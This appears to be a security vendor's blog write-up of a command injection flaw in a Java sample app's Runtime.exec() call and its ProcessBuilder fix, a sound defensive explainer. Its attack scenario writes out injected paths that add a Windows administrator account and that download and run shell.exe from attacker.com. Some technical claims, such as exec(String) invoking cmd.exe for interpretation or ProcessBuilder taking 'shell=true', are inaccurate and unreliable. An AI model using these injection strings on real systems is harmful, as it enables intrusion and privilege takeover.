Back to Blog
critical SEVERITY8 min read

How command injection happens in Java Runtime.exec() and how to fix it

A critical OS command injection vulnerability (CWE-78) was discovered in `page-object/sample-application/src/main/java/com/iluwatar/pageobject/App.java` at line 81, where a single-string invocation of `Runtime.getRuntime().exec()` passed a concatenated command directly to the Windows shell, allowing an attacker who controls the `applicationFile` value to chain arbitrary OS commands. The fix replaces this dangerous pattern with a properly constructed `ProcessBuilder` that uses absolute executable

O
By Orbis AppSec
Published June 14, 2026Reviewed June 14, 2026

Answer Summary

This is an OS command injection vulnerability (CWE-78) in Java, found in `page-object/sample-application/src/main/java/com/iluwatar/pageobject/App.java` at line 81. The root cause is the single-string form of `Runtime.getRuntime().exec("cmd.exe start " + applicationFile)`, which passes the concatenated string to the Windows shell for interpretation, allowing an attacker who controls `applicationFile` to inject arbitrary shell commands. The fix replaces `Runtime.exec()` with a `ProcessBuilder` that uses absolute executable paths (`C:\Windows\System32\cmd.exe`, `/usr/bin/open`, `/usr/bin/xdg-open`) and passes each argument as a separate list element, preventing shell metacharacter interpretation entirely.

Vulnerability at a Glance

cweCWE-78
fixReplace with `ProcessBuilder` using absolute executable paths and discrete argument list elements
riskAttacker-controlled file path executes arbitrary OS commands on the host system
languageJava
root causeSingle-string `Runtime.getRuntime().exec()` passes concatenated input to the shell for interpretation
vulnerabilityOS Command Injection

How command injection happens in Java Runtime.exec() and how to fix it

Summary

A critical OS command injection vulnerability (CWE-78) was discovered in page-object/sample-application/src/main/java/com/iluwatar/pageobject/App.java at line 81, where a single-string invocation of Runtime.getRuntime().exec() passed a concatenated command directly to the Windows shell. An attacker who controls the applicationFile value could chain arbitrary OS commands. The fix replaces this dangerous pattern with a ProcessBuilder using absolute executable paths and discrete argument elements, eliminating shell interpretation entirely.


Introduction

The page-object/sample-application/src/main/java/com/iluwatar/pageobject/App.java file is responsible for launching a sample web application as part of a Page Object pattern demonstration. Its main() method attempts to open the application file using java.awt.Desktop and, when that isn't supported (notably on Windows), falls back to a shell command. That fallback — a single line at line 81 — introduced a critical OS command injection vulnerability:

Runtime.getRuntime().exec("cmd.exe start " + applicationFile);

This pattern is deceptively simple and looks harmless at first glance. But for any developer who has ever used Runtime.exec() in Java, it carries a subtle and dangerous trap: when you pass a single String to exec(), the JVM does not tokenize it for you safely. On Windows, it hands the entire string to cmd.exe for shell interpretation — and shell interpreters understand metacharacters like &, |, &&, and ||.

What makes this finding especially significant is that the same vulnerable pattern was independently reproduced in a sibling file, indicating a copy-paste propagation of the insecure code. Two separate files, two independently exploitable injection points, double the attack surface.


The Vulnerability Explained

What goes wrong with Runtime.exec(String)

Java's Runtime.exec(String command) overload splits the string on whitespace and passes it to the OS. On Windows, this means invoking cmd.exe — a full-featured shell interpreter. The critical distinction is between these two forms:

Vulnerable (single string — shell interprets everything):

// Line 81 — BEFORE the fix
Runtime.getRuntime().exec("cmd.exe start " + applicationFile);

Safe (tokenized array — no shell interpretation):

new ProcessBuilder("C:\\Windows\\System32\\cmd.exe", "/c", "start", applicationFile.getAbsolutePath());

In the vulnerable form, if applicationFile is a File object whose path is derived from external input (e.g., a configuration file, a URL parameter, or a CLI argument), an attacker can craft a path like:

C:\legitimate\app.html & net user hacker P@ssw0rd /add & net localgroup Administrators hacker /add

When this is concatenated into the command string and passed to cmd.exe, the shell sees three separate commands separated by & and executes all of them with the privileges of the Java process.

A concrete attack scenario

Imagine this application is deployed as part of a CI/CD pipeline or a testing harness where the applicationFile path is derived from a test configuration file that a developer (or a malicious pull request) can modify. An attacker submits a PR that changes the application path to:

target/app.html & curl https://attacker.com/shell.exe -o C:\Windows\Temp\shell.exe & C:\Windows\Temp\shell.exe

When the test harness runs App.main(), the shell executes all three commands: it opens the legitimate file, downloads a remote payload, and executes it — all in one line, all because of a single-string exec() call.

Why this appeared in two files

The vulnerability was flagged as V-001 in page-object/src/main/java/com/iluwatar/pageobject/App.java and as V-002 in page-object/sample-application/src/main/java/com/iluwatar/pageobject/App.java. The identical pattern in two separate subdirectories is a textbook example of copy-paste vulnerability propagation. When insecure code is duplicated without security review, the risk multiplies with each copy.


The Fix

Before and After

The fix at line 81 replaces the single-string Runtime.exec() call with a platform-aware ProcessBuilder that:

  1. Detects the operating system using System.getProperty("os.name")
  2. Uses absolute paths to the shell executable (preventing PATH hijacking)
  3. Passes each argument as a discrete list element (preventing shell metacharacter injection)

Before (vulnerable):

// java Desktop not supported - above unlikely to work for Windows so try instead...
Runtime.getRuntime().exec("cmd.exe start " + applicationFile);

After (fixed):

var os = System.getProperty("os.name").toLowerCase(Locale.ROOT);
ProcessBuilder pb;
if (os.contains("win")) {
  // Standard Windows location since Windows NT
  pb =
      new ProcessBuilder(
          "C:\\Windows\\System32\\cmd.exe",
          "/c",
          "start",
          applicationFile.getAbsolutePath());
} else if (os.contains("mac")) {
  // Standard macOS location for 'open' command
  pb = new ProcessBuilder("/usr/bin/open", applicationFile.getAbsolutePath());
} else {
  // Standard Linux desktop location for xdg-open
  pb = new ProcessBuilder("/usr/bin/xdg-open", applicationFile.getAbsolutePath());
}
pb.start();

Why each change matters

Change Security Benefit
ProcessBuilder with argument list instead of Runtime.exec(String) Arguments are passed directly to the OS without shell interpretation — metacharacters like &, \|, ; are treated as literal characters
Absolute path C:\Windows\System32\cmd.exe instead of cmd.exe Prevents PATH hijacking attacks where a malicious cmd.exe is placed earlier in the %PATH%
applicationFile.getAbsolutePath() as a separate argument The file path is a discrete argument, not part of the command string, so it cannot break out of its argument boundary
Locale.ROOT in .toLowerCase() Avoids locale-sensitive string comparison bugs (e.g., the Turkish locale where "I".toLowerCase() produces "ı", not "i")
Cross-platform OS detection Correct platform-specific launchers (/usr/bin/open on macOS, /usr/bin/xdg-open on Linux) with hardcoded absolute paths

The addition of import java.util.Locale is also notable — it's a small import that enables the locale-safe toLowerCase(Locale.ROOT) call, preventing a subtle but real class of internationalization bugs in security-sensitive string comparisons.


Prevention & Best Practices

1. Never use the single-string form of Runtime.exec() with external input

The Java documentation itself warns about this. Always prefer the array or List<String> form:

// UNSAFE — shell interprets the entire string
Runtime.getRuntime().exec("cmd.exe /c " + userInput);

// SAFE — OS receives discrete arguments, no shell interpretation
new ProcessBuilder("C:\\Windows\\System32\\cmd.exe", "/c", userInput).start();

2. Prefer ProcessBuilder over Runtime.exec()

ProcessBuilder is the modern Java API for spawning processes. It gives you explicit control over the argument list, working directory, environment variables, and I/O streams. Use it by default.

3. Use absolute paths for executables

Hardcoding /usr/bin/xdg-open instead of xdg-open prevents PATH injection, where an attacker places a malicious binary earlier in the search path. This is especially important in environments where the PATH variable might be influenced by user configuration.

4. Validate file paths before use

Even with ProcessBuilder, it's good practice to validate that applicationFile points to an expected location:

Path resolved = applicationFile.toPath().toRealPath();
Path allowedBase = Path.of("/expected/app/directory");
if (!resolved.startsWith(allowedBase)) {
    throw new SecurityException("File path outside allowed directory: " + resolved);
}

5. Apply the principle of least privilege

If the application doesn't need to launch arbitrary files, don't give it the capability. Run the JVM process with the minimum OS privileges required.

6. Use static analysis to catch this pattern early

  • SonarQube: Rule S5304 (and S2076) flags Runtime.exec() with concatenated strings
  • Semgrep: Rules for runtime-exec-injection in the Java ruleset
  • SpotBugs: COMMAND_INJECTION detector
  • Orbis AppSec: Automated AI-powered detection with automatic PR generation (as demonstrated here)

OWASP Reference

This vulnerability maps directly to OWASP A03:2021 – Injection and is described in detail in the OWASP OS Command Injection Defense Cheat Sheet.


Key Takeaways

  • Runtime.getRuntime().exec(String) with concatenated input is always dangerous in Java — the single-string form invokes shell interpretation on Windows, turning any user-controlled segment into a potential command injection vector.
  • Copy-paste propagation doubles your risk — the same vulnerable pattern appeared in two separate files (page-object/src/ and page-object/sample-application/src/), creating two independently exploitable injection points. Every copy of insecure code is a new vulnerability.
  • Absolute executable paths are a defense-in-depth measure — using C:\Windows\System32\cmd.exe instead of cmd.exe prevents PATH hijacking even if the process environment is compromised.
  • applicationFile.getAbsolutePath() as a discrete argument — passing the file path as a separate ProcessBuilder argument, not as part of the command string, is what actually prevents the injection; the shell never sees the path as something to interpret.
  • Locale.ROOT matters in security comparisons — the locale-safe lowercase conversion prevents subtle bugs in OS detection logic that could cause the wrong (potentially less secure) code branch to execute on certain international systems.

How Orbis AppSec Detected This

  • Source: The applicationFile variable passed into App.main(), which can be influenced by external configuration, test harness input, or CLI arguments.
  • Sink: Runtime.getRuntime().exec("cmd.exe start " + applicationFile) at page-object/sample-application/src/main/java/com/iluwatar/pageobject/App.java:81 — the single-string exec() call that passes the concatenated value to the Windows shell interpreter.
  • Missing control: No sanitization, no argument tokenization, no validation of applicationFile before it was concatenated into the shell command string.
  • CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').
  • Fix: Replaced Runtime.exec(String) with a ProcessBuilder using absolute executable paths and discrete argument list elements, eliminating shell interpretation entirely.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

The Runtime.getRuntime().exec("cmd.exe start " + applicationFile) pattern in App.java is a textbook example of how a well-intentioned fallback code path can introduce a critical security vulnerability. The fix is clean, cross-platform, and idiomatic Java — but the real lesson is that this pattern is easy to miss in code review and easy to copy into new files without realizing the risk.

For Java developers: treat Runtime.exec(String) the same way you'd treat eval() in JavaScript or string.Format in a SQL query — as a pattern that demands immediate scrutiny whenever external data is involved. Default to ProcessBuilder with a tokenized argument list, use absolute paths for executables, and let static analysis tools catch these patterns before they reach production.

Security is often about the small decisions — a single string concatenation, a missing import, a copied code snippet — that compound into critical vulnerabilities. The fix here is 20 lines replacing 1, and every one of those lines makes the application measurably safer.


References

Frequently Asked Questions

What is OS command injection in Java?

OS command injection in Java occurs when user-controlled input is concatenated into a shell command string — most commonly via the single-string form of `Runtime.exec()` or `ProcessBuilder` with `shell=true` — allowing an attacker to append shell metacharacters (`&`, `|`, `;`) and execute arbitrary commands on the host operating system.

How do you prevent command injection in Java?

Use `ProcessBuilder` with a discrete argument list (never a single concatenated string), specify absolute paths to executables, validate and sanitize any user-supplied input, and avoid passing user data to shell interpreters like `cmd.exe /c` or `/bin/sh -c`.

What CWE is OS command injection?

OS command injection is classified as CWE-78: Improper Neutralization of Special Elements used in an OS Command.

Is input validation enough to prevent command injection in Java?

Input validation alone is not sufficient. The primary defense is to avoid shell interpretation entirely by using `ProcessBuilder` with a tokenized argument array. Input validation is a useful secondary control but can be bypassed with creative encoding or unexpected metacharacters.

Can static analysis detect command injection in Java?

Yes. Static analysis tools like SonarQube (rule S5304), Semgrep, SpotBugs, and automated AI-powered scanners like Orbis AppSec can identify the dangerous single-string `Runtime.exec()` pattern and flag it as a command injection risk.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #3471

Related Articles

critical

How command injection happens in Python subprocess and how to fix it

A critical command injection vulnerability was discovered in export.py where subprocess calls used `shell=True` with user-controllable CLI arguments. An attacker could inject shell metacharacters through model paths or export parameters to execute arbitrary commands on the host system. The fix replaces shell-based command execution with safer list-based subprocess calls that prevent command injection.

critical

How command injection happens in Python os.system() and how to fix it

A critical command injection vulnerability was discovered in the `data/xView.yaml` dataset download script, where `os.system(f'rm -rf {labels}')` constructed a shell command using an f-string with a path derived from user-controlled YAML configuration. An attacker supplying a crafted dataset YAML file could embed shell metacharacters in the path to execute arbitrary commands. The fix replaces the shell invocation entirely with Python's `shutil.rmtree()`, eliminating the attack surface by never i

critical

How command injection happens in Python subprocess and how to fix it

A critical shell injection vulnerability was discovered in `utils/downloads.py` where `subprocess.check_output` was called with `shell=True` while passing a user-controlled URL parameter. This allowed attackers to inject arbitrary shell commands by embedding metacharacters like `;`, `&&`, or `$(...)` into a URL string. The fix removes `shell=True`, ensuring the URL is passed as a literal argument in a list rather than being interpreted by the shell.

critical

How command injection happens in Java Runtime.exec() and how to fix it

A critical command injection vulnerability was discovered in `page-object/src/main/java/com/iluwatar/pageobject/App.java` where `Runtime.getRuntime().exec()` was used to launch a file using `cmd.exe` with a directly concatenated file path. An attacker who could control the `applicationFile` variable could inject shell metacharacters to execute arbitrary system commands with the privileges of the running Java process. The fix replaces the unsafe `exec()` call with a properly tokenized `ProcessBui

critical

How command injection happens in Go ffmpeg wrappers and how to fix it

A critical command injection vulnerability was discovered in `drivers/local/util.go` where user-influenced file paths were passed directly to `ffmpeg.Input()` without any sanitization. Because many ffmpeg wrapper libraries construct shell command strings under the hood, an attacker could embed shell metacharacters in a file path to execute arbitrary OS commands with server-level privileges. The fix introduces a `sanitizeFilePath()` function that validates paths are absolute, clean, and point to

critical

Critical Shell Injection in autoban.py: How os.system() Opened a Root Shell

A critical shell injection vulnerability in `autoban.py` allowed attackers to execute arbitrary commands as root on OpenWrt routers by crafting malicious connection data containing shell metacharacters. The fix replaces a dangerous `os.system(cmd)` call with `os.fork()` + `os.execvp()`, eliminating shell interpretation entirely. This change ensures that IP addresses extracted from network connections can never be used to inject arbitrary shell commands, even if they contain semicolons, pipes, ba